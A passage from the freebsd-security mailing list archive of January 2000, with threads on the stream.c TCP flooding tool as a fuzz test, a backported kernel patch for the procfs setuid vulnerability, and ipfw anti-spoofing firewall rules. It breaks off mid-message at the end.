Jan 2000 09:36:43 -0800 (PST) (envelope-from wes@softweyr.com) Received: from mailhub.xylan.com (mailhub [198.206.181.70]) by ind.alcatel.com (8.9.3+Sun/8.9.1 (ind.alcatel.com 3.0 [OUT])) with SMTP id JAA08344; Mon, 24 Jan 2000 09:35:11 -0800 (PST) X-Origination-Site: Received: from omni.xylan.com by mailhub.xylan.com (SMI-8.6/SMI-SVR4 (mailhub 2.1 [HUB])) id JAA06307; Mon, 24 Jan 2000 09:35:05 -0800 Received: from softweyr.com (dyn0.utah.xylan.com [198.206.184.236]) by omni.xylan.com (8.9.3+Sun/8.9.1 (Xylan engr [SPOOL])) with ESMTP id JAA18722; Mon, 24 Jan 2000 09:33:49 -0800 (PST) Message-ID: <388C8E65.5173FAE2@softweyr.com> Date: Mon, 24 Jan 2000 10:39:49 -0700 From: Wes Peters Organization: Softweyr LLC X-Mailer: Mozilla 4.7 [en] (X11; U; FreeBSD 3.3-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: Sheldon Hearn Cc: "Dan Seafeldt, AZ.COM System Administrator" , security@freebsd.org Subject: Re: Microsoft Windows Update References: <61696.948702548@axl.noc.iafrica.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Sheldon Hearn wrote: > > If you'd like to set up a web site on which you provide what you > consider to be a digest of significant issues fixed but not announced on > freebsd-security, you're welcome to do that. :-) Or even if it is published on freebsd-security. DaemonNews would be ecstatic to host it, if you're looking for a domain. I agree the communications channels in-place are sufficient to warn anyone who cares about security issues in FreeBSD. They're probably not sufficient to warn FreeBSD admins about new device drivers, new features, or bug fixes, without a lot of work. All that is needed is someone to watch the CVS logs and make intelligent summaries, and then post this information somewhere where everyone can learn of it. It would be a great service to the community, if you wish to step up, form a team, and go for it. -- "Where am I, and what am I doing in this handbasket?" Wes Peters Softweyr LLC wes@softweyr.com http://softweyr.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Jan 24 9:39: 6 2000 Delivered-To: freebsd-security@freebsd.org Received: from ind.alcatel.com (postal.xylan.com [208.8.0.248]) by hub.freebsd.org (Postfix) with ESMTP id 37F2715919 for ; Mon, 24 Jan 2000 09:38:49 -0800 (PST) (envelope-from wes@softweyr.com) Received: from mailhub.xylan.com (mailhub [198.206.181.70]) by ind.alcatel.com (8.9.3+Sun/8.9.1 (ind.alcatel.com 3.0 [OUT])) with SMTP id JAA08399; Mon, 24 Jan 2000 09:38:44 -0800 (PST) X-Origination-Site: Received: from omni.xylan.com by mailhub.xylan.com (SMI-8.6/SMI-SVR4 (mailhub 2.1 [HUB])) id JAA06539; Mon, 24 Jan 2000 09:38:44 -0800 Received: from softweyr.com (dyn0.utah.xylan.com [198.206.184.236]) by omni.xylan.com (8.9.3+Sun/8.9.1 (Xylan engr [SPOOL])) with ESMTP id JAA18952; Mon, 24 Jan 2000 09:37:23 -0800 (PST) Message-ID: <388C8F3B.48E0D174@softweyr.com> Date: Mon, 24 Jan 2000 10:43:23 -0700 From: Wes Peters Organization: Softweyr LLC X-Mailer: Mozilla 4.7 [en] (X11; U; FreeBSD 3.3-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: Mahmoud Chilali Cc: Joss Roots , freebsd-security@freebsd.org Subject: Re: Is it posssible for someone to FREEZE FreeBSD over TCP-IP Network ? References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Mahmoud Chilali wrote: > > This is most probably a hang of the X server. I experienced this many times > (and not only with FreeBSD). TMost of the tim, even the CTRL-ALT-DEL doesn't > work and the only > thing to do is the OFF button. sometimes however (but this is a > hardware/BIOS thing), even this doesn't > work and the only way is to "deinvent" electricity by unplugging the PC... C-A-DEL doesn't work when the Xserver controls the screen. Did you try C-A-Backspace to kill the Xserver? -- "Where am I, and what am I doing in this handbasket?" Wes Peters Softweyr LLC wes@softweyr.com http://softweyr.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Jan 24 9:45:25 2000 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id 0A31D14A2D for ; Mon, 24 Jan 2000 09:45:22 -0800 (PST) (envelope-from brett@lariat.org) Received: from workhorse (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id KAA25300 for ; Mon, 24 Jan 2000 10:45:19 -0700 (MST) Message-Id: <4.2.2.20000124103221.01e1a410@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Mon, 24 Jan 2000 10:45:18 -0700 To: security@FreeBSD.ORG From: Brett Glass Subject: stream.c as "monkey" Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Stepping back from this whole long discussion of stream.c, it occurs to me that this exploit is not unlike the "monkey" desk accessory which programmers once used to beat Macintosh programs into submission. By emulating a monkey hitting random keys on the keyboard (and also clicking on anything and everything on the screen), this little desk accessory was surprisingly effective at crashing an app that wasn't solid. [Side note: The idea of monkeys typing away at keyboards trying to reproduce the works of William Shakespeare was an old joke at Apple after Mike Markkula wrote a sample program called "The Infinite Number of Monkeys." The program describes an experiment in which large numbers of monkeys peck at keyboards until one of the monkeys starts typing something like "To be or not to be; that is the gnumph glorgle glorzumplatz." The program comments that maybe it needs just a few more monkeys and repeats the "experiment." Silly, but it's fun the first time you see it.] But I digress. In a way, stream.c functions as a TCP "monkey," sending packets with insane addresses and port numbers. (It doesn't exercise the TCP option flags, but it could be made to do so.) Maybe this program should be regarded as a way to beat the stuffing out of the stack and avoid problems with long code paths, memory allocation problems, and/or future DoS attacks. It surely wouldn't make a bad networking regression test. --Brett To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Jan 24 11:10:49 2000 Delivered-To: freebsd-security@freebsd.org Received: from funky.monkey.org (funky.monkey.org [63.77.239.13]) by hub.freebsd.org (Postfix) with ESMTP id 40711158FD for ; Mon, 24 Jan 2000 11:10:36 -0800 (PST) (envelope-from dugsong@monkey.org) Received: by funky.monkey.org (Postfix, from userid 1001) id 610A01519E; Mon, 24 Jan 2000 14:10:23 -0500 (EST) Received: from localhost (localhost [127.0.0.1]) by funky.monkey.org (Postfix) with ESMTP id 4908614A01; Mon, 24 Jan 2000 14:10:23 -0500 (EST) Date: Mon, 24 Jan 2000 14:10:23 -0500 (EST) From: Dug Song To: Brett Glass Cc: security@FreeBSD.ORG Subject: Re: stream.c as "monkey" In-Reply-To: <4.2.2.20000124103221.01e1a410@localhost> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Mon, 24 Jan 2000, Brett Glass wrote: > In a way, stream.c functions as a TCP "monkey," sending packets with > insane addresses and port numbers... It surely wouldn't make a bad > networking regression test. see also http://expert.cc.purdue.edu/~frantzen/isic-0.04.tgz -d. --- http://www.monkey.org/~dugsong/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Jan 24 11:27:47 2000 Delivered-To: freebsd-security@freebsd.org Received: from mail-out1.apple.com (mail-out1.apple.com [17.254.0.52]) by hub.freebsd.org (Postfix) with ESMTP id D102B1531A for ; Mon, 24 Jan 2000 11:25:55 -0800 (PST) (envelope-from ddavidso@scv3.apple.com) Received: from mailgate2.apple.com ([17.129.100.225]) by mail-out1.apple.com (8.9.3/8.9.3) with ESMTP id LAA19643 for ; Mon, 24 Jan 2000 11:25:45 -0800 (PST) Received: from scv3.apple.com (scv3.apple.com) by mailgate2.apple.com (Content Technologies SMTPRS 2.0.15) with ESMTP id ; Mon, 24 Jan 2000 11:25:36 -0800 Received: from miranda-n (miranda-n.apple.com [17.202.15.94]) by scv3.apple.com (8.9.3/8.9.3) with SMTP id LAA00486; Mon, 24 Jan 2000 11:25:35 -0800 (PST) Message-Id: <200001241925.LAA00486@scv3.apple.com> To: "Brett Glass" Subject: Re: stream.c as "monkey" Cc: security@freebsd.org Date: Mon, 24 Jan 2000 11:25:32 -0800 From: Douglas Davidson X-Mailer: by Apple MailViewer (2.106) Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >In a way, stream.c functions as a TCP "monkey," >sending packets with insane addresses and port >numbers. (It doesn't exercise the TCP option flags, >but it could be made to do so.) Maybe this program >should be regarded as a way to beat the stuffing >out of the stack and avoid problems with long code >paths, memory allocation problems, and/or future >DoS attacks. It surely wouldn't make a bad networking >regression test. Also along these lines is "fuzz", by Barton Miller et al., which could (and probably still can) crash an alarmingly large number of command-line tools etc. by feeding them random input (CACM 33, 12 (Dec. 1990); also a followup paper in '95). It seems natural that there should be such a thing for network protocol stacks--perhaps it already exists somewhere. If I get a free moment I would be interested in producing such a thing, and perhaps others would be too. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Jan 24 12:21:30 2000 Delivered-To: freebsd-security@freebsd.org Received: from vinyl.sentex.ca (vinyl.sentex.ca [209.112.4.14]) by hub.freebsd.org (Postfix) with ESMTP id 82B8715076 for ; Mon, 24 Jan 2000 12:21:27 -0800 (PST) (envelope-from mike@sentex.net) Received: from simoeon (simeon.sentex.ca [209.112.4.47]) by vinyl.sentex.ca (8.9.3/8.9.3) with SMTP id PAA36581 for ; Mon, 24 Jan 2000 15:21:22 -0500 (EST) (envelope-from mike@sentex.net) Message-Id: <3.0.5.32.20000124151825.01c3d100@staff.sentex.ca> X-Sender: mdtpop@staff.sentex.ca X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.5 (32) Date: Mon, 24 Jan 2000 15:18:25 -0500 To: freebsd-security@freebsd.org From: Mike Tancsa Subject: more complete ipfw rules Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org With all the recent talk of flooding etc, I decided to go over my ipfw rules on my two border routers to a) make sure I am not letting in things I dont need, and b) to be a good net citizen and not allow source addresses to leave my network that dont belong here. With ${oif} being my outside interface, I had been using that stuff in # Stop RFC1918 nets on the outside interface But what about multicast addresses ? I am not running any multicast applications. Should there not also be $fwcmd add deny all from 224.0.0.0/8 to any via ${oif} and I was also wondering about $fwcmd add deny all from 0.0.0.0/8 to any via ${oif} $fwcmd add deny all from 255.0.0.0/8 to any via ${oif} and I dont want outside connections with a source address of the loopback $fwcmd add deny all from 127.0.0.0/8 to any in recv ${oif} but I am not sure if this will do what I want it to do. Are there any others ? What about icmp? Just redirects ? ---Mike ------------------------------------------------------------------------ Mike Tancsa, tel +1 519 651 3400 Network Administrator, mike@sentex.net Sentex Communications www.sentex.net Cambridge, Ontario Canada To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Jan 24 14:19:31 2000 Delivered-To: freebsd-security@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id D582714F53 for ; Mon, 24 Jan 2000 14:19:28 -0800 (PST) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id PAA02857; Mon, 24 Jan 2000 15:13:45 -0700 (MST) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id PAA06694; Mon, 24 Jan 2000 15:13:32 -0700 (MST) Message-Id: <200001242213.PAA06694@harmony.village.org> To: Peter Wemm Subject: Re: Fwd: *BSD procfs vulnerability Cc: Mike Tancsa , freebsd-security@FreeBSD.ORG In-reply-to: Your message of "Mon, 24 Jan 2000 18:34:41 +0800." <20000124103441.D88561C03@overcee.netplex.com.au> References: <20000124103441.D88561C03@overcee.netplex.com.au> Date: Mon, 24 Jan 2000 15:13:32 -0700 From: Warner Losh Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In message <20000124103441.D88561C03@overcee.netplex.com.au> Peter Wemm writes: : Under -current, practically nothing. Under 3.x, ps(1) won't work right. : I'm not sure about gdb(1), it seems to use ptrace(2) these days. A quick audit of the code shows that truss and gcore will stop working, since they use procfs. I thought that ps used procfs to get some command args, but come to think of it, it didn't show up in my grep. gdb seems to use the proc/pid/mem file, but I didn't look closely to see if that was ifdef'd out or not. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Jan 24 15:38:14 2000 Delivered-To: freebsd-security@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id ADF4A14A16 for ; Mon, 24 Jan 2000 15:38:04 -0800 (PST) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id PAA02872; Mon, 24 Jan 2000 15:15:41 -0700 (MST) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id PAA06724; Mon, 24 Jan 2000 15:15:28 -0700 (MST) Message-Id: <200001242215.PAA06724@harmony.village.org> To: Wes Peters Subject: Re: stream.c Cc: Don Lewis , Richard Steenbergen , Alfred Perlstein , freebsd-security@FreeBSD.ORG In-reply-to: Your message of "Mon, 24 Jan 2000 10:34:41 MST." <388C8D31.899AF4FC@softweyr.com> References: <388C8D31.899AF4FC@softweyr.com> <20000123102829.C18349@above.net> <20000123083234.N26520@fw.wintelcom.net> <20000123112220.E18349@above.net> <200001240738.XAA21595@salsa.gv.tsc.tdk.com> Date: Mon, 24 Jan 2000 15:15:28 -0700 From: Warner Losh Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In message <388C8D31.899AF4FC@softweyr.com> Wes Peters writes: : Warner has a handle on this, why don't we wait for his SA and patch? I wanted to have this last night, but something came up. I'll post the patch later today. For the most part just turning on ICMP_RATELIM protects the machine, and this patch takes that a little father. I'd like to commit something before code freeze, but want to get it reviewed first. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Jan 24 16:10:30 2000 Delivered-To: freebsd-security@freebsd.org Received: from crack.x509.com (crack.x509.com [199.175.150.1]) by hub.freebsd.org (Postfix) with ESMTP id 7276E1521B for ; Mon, 24 Jan 2000 16:10:27 -0800 (PST) (envelope-from oswell@xcert.com) Received: from oswell.x509.com (oswell.x509.com [199.175.148.212]) by crack.x509.com (8.9.3/XCERT) with ESMTP id QAA10263; Mon, 24 Jan 2000 16:05:37 -0800 (PST) Date: Mon, 24 Jan 2000 16:05:36 -0800 (PST) From: Michael Oswell X-Sender: oswell@oswell.x509.com To: Warner Losh Cc: Matthew Dillon , Tim Yardley , freebsd-security@FreeBSD.ORG Subject: Re: Fwd: *BSD procfs vulnerability In-Reply-To: <200001241334.GAA02980@harmony.village.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I've manually taken the information from the 3.x patch and used it to patch a 2.2.7 box we had here. It appears to work, though all I have done to test this is run the exploit script that was sent to bugtraq. I have also run the patch against a 2.2.8 box successfully (and recompiled the kernel), though have yet to reboot to the box to be sure it works. The actual code in the patch below is identical to the one that was released for 3.2 (just manually inserted instead of using patch). Like I said, it appears to work here, though I make no guarentees to anyone that this is the best or correct way to patch the 2.2.x kernels for this bug. *** sys/filedesc.h Fri Feb 23 10:49:21 1996 --- sys/filedesc.h.patched Mon Jan 24 11:50:34 2000 *************** *** 106,112 **** --- 106,113 ---- void fdfree __P((struct proc *p)); int closef __P((struct file *fp,struct proc *p)); void fdcloseexec __P((struct proc *p)); int getvnode __P((struct filedesc *fdp, int fd, struct file **fpp)); + void setugidsafety __P((struct proc *p)); #endif #endif *** kern/kern_descrip.c Sat Dec 21 11:04:24 1996 --- kern/kern_descrip.c.patched Mon Jan 24 11:52:13 2000 *************** *** 977,984 **** --- 977,1041 ---- p->p_dupfd = minor(dev); return (ENODEV); } + /* + * For setuid/setgid programs we don't want to people to use that setuidness + * to generate error messages which write to a file which otherwise would + * otherwise be off limits to the proces. + * + * This is a gross hack to plug the hole. A better solution would involve + * a special vop or other form of generalized access control mechanism. We + * go ahead and just reject all procfs file systems accesses as dangerous. + * + * Since setugidsafety calls this only for fd 0, 1 and 2, this check is + * sufficient. We also don't for setugidness since we know we are. + */ + static int + is_unsafe(struct file *fp) + { + if (fp->f_type == DTYPE_VNODE && + ((struct vnode *)(fp->f_data))->v_tag == VT_PROCFS) + return (1); + return (0); + } + + /* + * Make this setguid thing safe, if at all possible. + */ + void + setugidsafety(p) + struct proc *p; + { + struct filedesc *fdp = p->p_fd; + struct file **fpp; + char *fdfp; + register int i; + + /* Certain daemons might not have file descriptors. */ + if (fdp == NULL) + return; + + fpp = fdp->fd_ofiles; + fdfp = fdp->fd_ofileflags; + for (i = 0; i <= fdp->fd_lastfile; i++, fpp++, fdfp++) { + if (i > 2) + break; + if (*fpp != NULL && is_unsafe(*fpp)) { + if (*fdfp & UF_MAPPED) + (void) munmapfd(p, i); + (void) closef(*fpp, p); + *fpp = NULL; + *fdfp = 0; + if (i < fdp->fd_freefile) + fdp->fd_freefile = i; + } + } + while (fdp->fd_lastfile > 0 && fdp->fd_ofiles[fdp->fd_lastfile] == NULL) + fdp->fd_lastfile--; + } + + /* * Duplicate the specified descriptor to a free descriptor. */ int *** kern/kern_exec.c Mon Mar 2 00:54:56 1998 --- kern/kern_exec.c.patched Mon Jan 24 11:52:52 2000 *************** *** 318,325 **** --- 318,326 ---- p->p_ucred->cr_uid = attr.va_uid; if (attr.va_mode & VSGID) p->p_ucred->cr_gid = attr.va_gid; p->p_flag |= P_SUGID; + setugidsafety(p); } else { if (p->p_ucred->cr_uid == p->p_cred->p_ruid && p->p_ucred->cr_gid == p->p_cred->p_rgid) p->p_flag &= ~P_SUGID; --------------------------- On Mon, 24 Jan 2000, Warner Losh wrote: > Sure would be nice. Don't have the machines or time to do it myself. > 2.x is no longer officially supported. > ----- Michael Oswell Xcert International Inc. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Jan 24 16:23: 0 2000 Delivered-To: freebsd-security@freebsd.org Received: from gatekeeper.tsc.tdk.com (gatekeeper.tsc.tdk.com [207.113.159.21]) by hub.freebsd.org (Postfix) with ESMTP id AA883158D6 for ; Mon, 24 Jan 2000 16:22:54 -0800 (PST) (envelope-from gdonl@tsc.tdk.com) Received: from imap.gv.tsc.tdk.com (imap.gv.tsc.tdk.com [192.168.241.198]) by gatekeeper.tsc.tdk.com (8.8.8/8.8.8) with ESMTP id PAA18239; Mon, 24 Jan 2000 15:19:20 -0800 (PST) (envelope-from gdonl@tsc.tdk.com) Received: from salsa.gv.tsc.tdk.com (salsa.gv.tsc.tdk.com [192.168.241.194]) by imap.gv.tsc.tdk.com (8.9.3/8.9.3) with ESMTP id PAA67808; Mon, 24 Jan 2000 15:19:19 -0800 (PST) (envelope-from Don.Lewis@tsc.tdk.com) Received: (from gdonl@localhost) by salsa.gv.tsc.tdk.com (8.8.5/8.8.5) id PAA24095; Mon, 24 Jan 2000 15:19:19 -0800 (PST) From: Don Lewis Message-Id: <200001242319.PAA24095@salsa.gv.tsc.tdk.com> Date: Mon, 24 Jan 2000 15:19:19 -0800 In-Reply-To: <4.2.2.20000124103221.01e1a410@localhost> References: <4.2.2.20000124103221.01e1a410@localhost> X-Mailer: Mail User's Shell (7.2.6 beta(5) 10/07/98) To: Brett Glass , security@FreeBSD.ORG Subject: Re: stream.c as "monkey" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Jan 24, 10:45am, Brett Glass wrote: } Subject: stream.c as "monkey" } But I digress. In a way, stream.c functions as a TCP "monkey," sending } packets with insane addresses and port numbers. It's not a very good "monkey" because it only randomizes addresses and port numbers. That doesn't exercise many different code paths, and it seems that the only interesting thing it finds is what happens when it picks a multicast source address. } (It doesn't exercise } the TCP option flags, but it could be made to do so.) Maybe this program } should be regarded as a way to beat the stuffing out of the stack and } avoid problems with long code paths, memory allocation problems, and/or } future DoS attacks. It surely wouldn't make a bad networking regression } test. Other things it might test are the flags, the TCP options, different packet lengths, and sequence numbers. This is a large enough search space that you might find that you can't explore much of it in a reasonable period of time, so you might want to try some more extensive testing of a subset of this space. In addition to some of the other references, you might want to dig up a copy of "crashme" (hey, where's the port!), which executes random code. I think there is also a variant that executes random syscalls, which wouldn't be very well exercised by running random code. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Jan 24 18: 9:46 2000 Delivered-To: freebsd-security@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 8B23215978 for ; Mon, 24 Jan 2000 18:09:40 -0800 (PST) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id SAA94595; Mon, 24 Jan 2000 18:09:37 -0800 (PST) (envelope-from dillon) Date: Mon, 24 Jan 2000 18:09:37 -0800 (PST) From: Matthew Dillon Message-Id: <200001250209.SAA94595@apollo.backplane.com> To: Michael Oswell Cc: Warner Losh , Tim Yardley , freebsd-security@FreeBSD.ORG Subject: Re: Fwd: *BSD procfs vulnerability References: Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org :I've manually taken the information from the 3.x patch and used it to :patch a 2.2.7 box we had here. It appears to work, though all I have done :to test this is run the exploit script that was sent to bugtraq. : :I have also run the patch against a 2.2.8 box successfully (and recompiled :the kernel), though have yet to reboot to the box to be sure it works. : :The actual code in the patch below is identical to the one that was :released for 3.2 (just manually inserted instead of using patch). Like I :said, it appears to work here, though I make no guarentees to anyone that :this is the best or correct way to patch the 2.2.x kernels for this bug. Excelllent! I am going to wait a maximum of a few days to see if my old ISP gets the patch in to give us some corroboration, then will commit this into the 2.2.x tree. -Matt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Jan 24 20:51: 9 2000 Delivered-To: freebsd-security@freebsd.org Received: from mta2.snfc21.pbi.net (mta2.snfc21.pbi.net [206.13.28.123]) by hub.freebsd.org (Postfix) with ESMTP id 1A77B158AF for ; Mon, 24 Jan 2000 20:51:07 -0800 (PST) (envelope-from madscientist@thegrid.net) Received: from remus ([63.193.246.169]) by mta2.snfc21.pbi.net (Sun Internet Mail Server sims.3.5.1999.09.16.21.57.p8) with SMTP id <0FOV00A4AK2A3S@mta2.snfc21.pbi.net> for freebsd-security@freebsd.org; Mon, 24 Jan 2000 20:49:23 -0800 (PST) Date: Mon, 24 Jan 2000 20:51:27 -0800 From: The Mad Scientist Subject: Re: more complete ipfw rules In-reply-to: <3.0.5.32.20000124151825.01c3d100@staff.sentex.ca> X-Sender: i289861@mail.thegrid.net To: freebsd-security@freebsd.org Message-id: <4.1.20000124201245.00962220@mail.thegrid.net> MIME-version: 1.0 X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 Content-type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 03:18 PM 1/24/00 -0500, you wrote: > >With all the recent talk of flooding etc, I decided to go over my ipfw >rules on my two border routers to a) make sure I am not letting in things I >dont need, and b) to be a good net citizen and not allow source addresses >to leave my network that dont belong here. > >With ${oif} being my outside interface, > >I had been using that stuff in > > # Stop RFC1918 nets on the outside interface > >But what about multicast addresses ? I am not running any multicast >applications. Should there not also be > > $fwcmd add deny all from 224.0.0.0/8 to any via ${oif} > >and I was also wondering about > > $fwcmd add deny all from 0.0.0.0/8 to any via ${oif} > $fwcmd add deny all from 255.0.0.0/8 to any via ${oif} > >and I dont want outside connections with a source address of the loopback > > $fwcmd add deny all from 127.0.0.0/8 to any in recv ${oif} Don't forget about $fwcmd add 100 allow all from any to any via lo0 $fwcmd add 200 deny log all from any to 127.0.0.0/8 >but I am not sure if this will do what I want it to do. Are there any >others ? What about icmp? Just redirects ? $fwcmd add 2000 allow icmp from any to any icmptypes ${icmpallow} where icmpallow="0,3,4,5,11,12,14,16,18" this varies by what types of icmp you would like to let in. These types are pretty much all replies. loose and strict source routing isn't illegal, but usually used for subversion. $fwcmd add 500 deny log ip from any to any in via ${out_if} ipoptions lsrr,ssrr I have this commented-out line in my ruleset. #$fwcmd add 550 deny log ip from 169.254.0.0/16 to any in via ${out_if} Don't quite remember what it's for. I hope it's not another wasted class B. Can anyone enlighten me? watchtower:/root# whois -a 169.254.0.0 Internet Assigned Numbers Authority (IANA) (NETBLK-LINKLOCAL) For use with Link Local Networks Information Sciences Institute University of Southern California 4676 Admiralty Way, Suite 330 Marina del Rey, CA 90292-6695 Netname: LINKLOCAL Netblock: 169.254.0.0 - 169.254.255.255 hth, -Dean To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Jan 24 21:30:58 2000 Delivered-To: freebsd-security@freebsd.org Received: from mail5.uunet.ca (mail5.uunet.ca [142.77.1.28]) by hub.freebsd.org (Postfix) with ESMTP id 7DA0C15398 for ; Mon, 24 Jan 2000 21:30:55 -0800 (PST) (envelope-from matt@ARPA.MAIL.NET) Received: from w01.arpa-canada.net ([216.95.146.6]) by mail5.uunet.ca with ESMTP id <231450-25772>; Tue, 25 Jan 2000 00:31:02 -0500 Date: Tue, 25 Jan 2000 00:30:49 -0500 From: Matt Heckaman X-Sender: matt@w01.arpa-canada.net To: freebsd-security@freebsd.org Subject: Re: more complete ipfw rules In-Reply-To: <4.1.20000124201245.00962220@mail.thegrid.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org While we are going along this thread, are there any resources (web page, etc) that go beyond explaining the syntax to ipfw. I'm looking for stuff like numerous examples, perhaps a "what not to do with ipfw", and also "what you should do with ipfw" etc. Does anyone know of anything like this out there? Matt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Jan 24 21:41:19 2000 Delivered-To: freebsd-security@freebsd.org Received: from vinyl.sentex.ca (vinyl.sentex.ca [209.112.4.14]) by hub.freebsd.org (Postfix) with ESMTP id 2A7BA15397 for ; Mon, 24 Jan 2000 21:41:16 -0800 (PST) (envelope-from mike@sentex.net) Received: from granite.sentex.net (granite-atm.sentex.ca [209.112.4.1]) by vinyl.sentex.ca (8.9.3/8.9.3) with ESMTP id AAA10720; Tue, 25 Jan 2000 00:41:10 -0500 (EST) (envelope-from mike@sentex.net) Received: from chimp (ospf-mdt.sentex.net [205.211.164.81]) by granite.sentex.net (8.8.8/8.6.9) with ESMTP id AAA09003; Tue, 25 Jan 2000 00:41:09 -0500 (EST) Message-Id: <4.2.2.20000125003658.00b01550@mail.sentex.net> X-Sender: mdtancsa@mail.sentex.net X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Tue, 25 Jan 2000 00:39:40 -0500 To: The Mad Scientist , freebsd-security@FreeBSD.ORG From: Mike Tancsa Subject: Re: more complete ipfw rules In-Reply-To: <4.1.20000124201245.00962220@mail.thegrid.net> References: <3.0.5.32.20000124151825.01c3d100@staff.sentex.ca> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 08:51 PM 1/24/2000 -0800, The Mad Scientist wrote: >Don't forget about > >$fwcmd add 100 allow all from any to any via lo0 >$fwcmd add 200 deny log all from any to 127.0.0.0/8 Yup, that's already in there in the default rc.firewall. >loose and strict source routing isn't illegal, but usually used for >subversion. >$fwcmd add 500 deny log ip from any to any in via ${out_if} ipoptions >lsrr,ssrr Thanks. That's a good one to consider as well. ---Mike To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 25 0:49: 8 2000 Delivered-To: freebsd-security@freebsd.org Received: by hub.freebsd.org (Postfix, from userid 758) id 5BE0414E44; Tue, 25 Jan 2000 00:49:04 -0800 (PST) Received: from localhost (localhost [127.0.0.1]) by hub.freebsd.org (Postfix) with ESMTP id 4BE781CD5F5; Tue, 25 Jan 2000 00:49:04 -0800 (PST) (envelope-from kris@hub.freebsd.org) Date: Tue, 25 Jan 2000 00:49:04 -0800 (PST) From: Kris Kennaway To: current@freebsd.org Cc: security@freebsd.org Subject: OpenSSL docs for FAQ Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Can people please review this for style and content, for inclusion in the FAQ? I'll also need someone to mark it up once 